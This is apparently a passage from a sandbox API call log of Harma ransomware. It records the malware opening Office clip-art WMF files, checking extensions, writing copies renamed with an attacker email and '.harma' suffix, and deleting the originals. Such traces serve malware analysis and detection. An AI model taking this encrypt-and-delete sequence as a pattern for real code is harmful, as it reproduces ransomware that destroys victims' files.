[0156.773] SetEndOfFile (hFile=0x37c) returned 1 [0156.773] CloseHandle (hObject=0x37c) returned 1 [0156.773] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.773] SetEndOfFile (hFile=0x334) returned 1 [0156.775] CloseHandle (hObject=0x334) returned 1 [0156.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0156.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.776] lstrlenW (lpString=".doc") returned 4 [0156.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.776] lstrlenW (lpString=".docx") returned 5 [0156.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.777] lstrlenW (lpString=".pdf") returned 4 [0156.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".xls") returned 4 [0156.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.777] lstrlenW (lpString=".xlsx") returned 5 [0156.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.777] lstrlenW (lpString=".ppt") returned 4 [0156.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString=".zip") returned 4 [0156.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.777] lstrlenW (lpString=".rar") returned 4 [0156.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".bz2") returned 4 [0156.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".7z") returned 3 [0156.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString=".dbf") returned 4 [0156.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString=".1cd") returned 4 [0156.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString=".jpg") returned 4 [0156.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.777] lstrlenW (lpString=".doc") returned 4 [0156.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".docx") returned 5 [0156.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.778] lstrlenW (lpString=".pdf") returned 4 [0156.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".xls") returned 4 [0156.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.778] lstrlenW (lpString=".xlsx") returned 5 [0156.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.778] lstrlenW (lpString=".ppt") returned 4 [0156.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.778] lstrlenW (lpString=".zip") returned 4 [0156.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.778] lstrlenW (lpString=".rar") returned 4 [0156.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".bz2") returned 4 [0156.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".7z") returned 3 [0156.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.778] lstrlenW (lpString=".dbf") returned 4 [0156.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.778] lstrlenW (lpString=".1cd") returned 4 [0156.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0156.778] lstrlenW (lpString=".jpg") returned 4 [0156.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.778] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.779] lstrlenW (lpString="FD02097_.WMF") returned 12 [0156.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.779] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1564) returned 1 [0156.780] CloseHandle (hObject=0x334) returned 1 [0156.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0156.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.780] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.780] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.781] GetLastError () returned 0x0 [0156.781] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x61c, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x620, lpOverlapped=0x0) returned 1 [0156.785] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.785] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.785] SetEndOfFile (hFile=0x37c) returned 1 [0156.785] CloseHandle (hObject=0x37c) returned 1 [0156.785] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.785] SetEndOfFile (hFile=0x334) returned 1 [0156.791] CloseHandle (hObject=0x334) returned 1 [0156.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0156.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.792] lstrlenW (lpString=".doc") returned 4 [0156.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.792] lstrlenW (lpString=".docx") returned 5 [0156.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.792] lstrlenW (lpString=".pdf") returned 4 [0156.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.792] lstrlenW (lpString=".xls") returned 4 [0156.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.792] lstrlenW (lpString=".xlsx") returned 5 [0156.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.792] lstrlenW (lpString=".ppt") returned 4 [0156.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.792] lstrlenW (lpString=".zip") returned 4 [0156.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.792] lstrlenW (lpString=".rar") returned 4 [0156.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.792] lstrlenW (lpString=".bz2") returned 4 [0156.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".7z") returned 3 [0156.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString=".dbf") returned 4 [0156.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString=".1cd") returned 4 [0156.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString=".jpg") returned 4 [0156.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString=".doc") returned 4 [0156.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".docx") returned 5 [0156.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.793] lstrlenW (lpString=".pdf") returned 4 [0156.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".xls") returned 4 [0156.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.793] lstrlenW (lpString=".xlsx") returned 5 [0156.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.793] lstrlenW (lpString=".ppt") returned 4 [0156.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.793] lstrlenW (lpString=".zip") returned 4 [0156.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.793] lstrlenW (lpString=".rar") returned 4 [0156.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".bz2") returned 4 [0156.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".7z") returned 3 [0156.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.794] lstrlenW (lpString=".dbf") returned 4 [0156.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.794] lstrlenW (lpString=".1cd") returned 4 [0156.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0156.794] lstrlenW (lpString=".jpg") returned 4 [0156.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.794] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.794] lstrlenW (lpString="FD02115_.WMF") returned 12 [0156.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.796] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4660) returned 1 [0156.796] CloseHandle (hObject=0x334) returned 1 [0156.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0156.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.796] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.796] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.797] GetLastError () returned 0x0 [0156.797] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1234, lpOverlapped=0x0) returned 1 [0156.798] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1240, lpOverlapped=0x0) returned 1 [0156.799] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.799] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.800] SetEndOfFile (hFile=0x37c) returned 1 [0156.800] CloseHandle (hObject=0x37c) returned 1 [0156.800] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.800] SetEndOfFile (hFile=0x334) returned 1 [0156.802] CloseHandle (hObject=0x334) returned 1 [0156.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0156.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.803] lstrlenW (lpString=".doc") returned 4 [0156.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.803] lstrlenW (lpString=".docx") returned 5 [0156.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.803] lstrlenW (lpString=".pdf") returned 4 [0156.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.803] lstrlenW (lpString=".xls") returned 4 [0156.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.803] lstrlenW (lpString=".xlsx") returned 5 [0156.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.804] lstrlenW (lpString=".ppt") returned 4 [0156.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString=".zip") returned 4 [0156.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.804] lstrlenW (lpString=".rar") returned 4 [0156.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString=".bz2") returned 4 [0156.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString=".7z") returned 3 [0156.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString=".dbf") returned 4 [0156.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString=".1cd") returned 4 [0156.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString=".jpg") returned 4 [0156.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.804] lstrlenW (lpString=".doc") returned 4 [0156.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString=".docx") returned 5 [0156.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.804] lstrlenW (lpString=".pdf") returned 4 [0156.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.804] lstrlenW (lpString=".xls") returned 4 [0156.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.805] lstrlenW (lpString=".xlsx") returned 5 [0156.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.805] lstrlenW (lpString=".ppt") returned 4 [0156.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.805] lstrlenW (lpString=".zip") returned 4 [0156.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.805] lstrlenW (lpString=".rar") returned 4 [0156.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.805] lstrlenW (lpString=".bz2") returned 4 [0156.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.805] lstrlenW (lpString=".7z") returned 3 [0156.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.805] lstrlenW (lpString=".dbf") returned 4 [0156.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.805] lstrlenW (lpString=".1cd") returned 4 [0156.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0156.805] lstrlenW (lpString=".jpg") returned 4 [0156.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.806] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.806] lstrlenW (lpString="FD02116_.WMF") returned 12 [0156.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.806] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3988) returned 1 [0156.806] CloseHandle (hObject=0x334) returned 1 [0156.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0156.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.807] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.807] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.807] GetLastError () returned 0x0 [0156.807] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xf94, lpOverlapped=0x0) returned 1 [0157.083] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0157.084] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.084] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.085] SetEndOfFile (hFile=0x37c) returned 1 [0157.085] CloseHandle (hObject=0x37c) returned 1 [0157.085] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.085] SetEndOfFile (hFile=0x334) returned 1 [0157.087] CloseHandle (hObject=0x334) returned 1 [0157.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 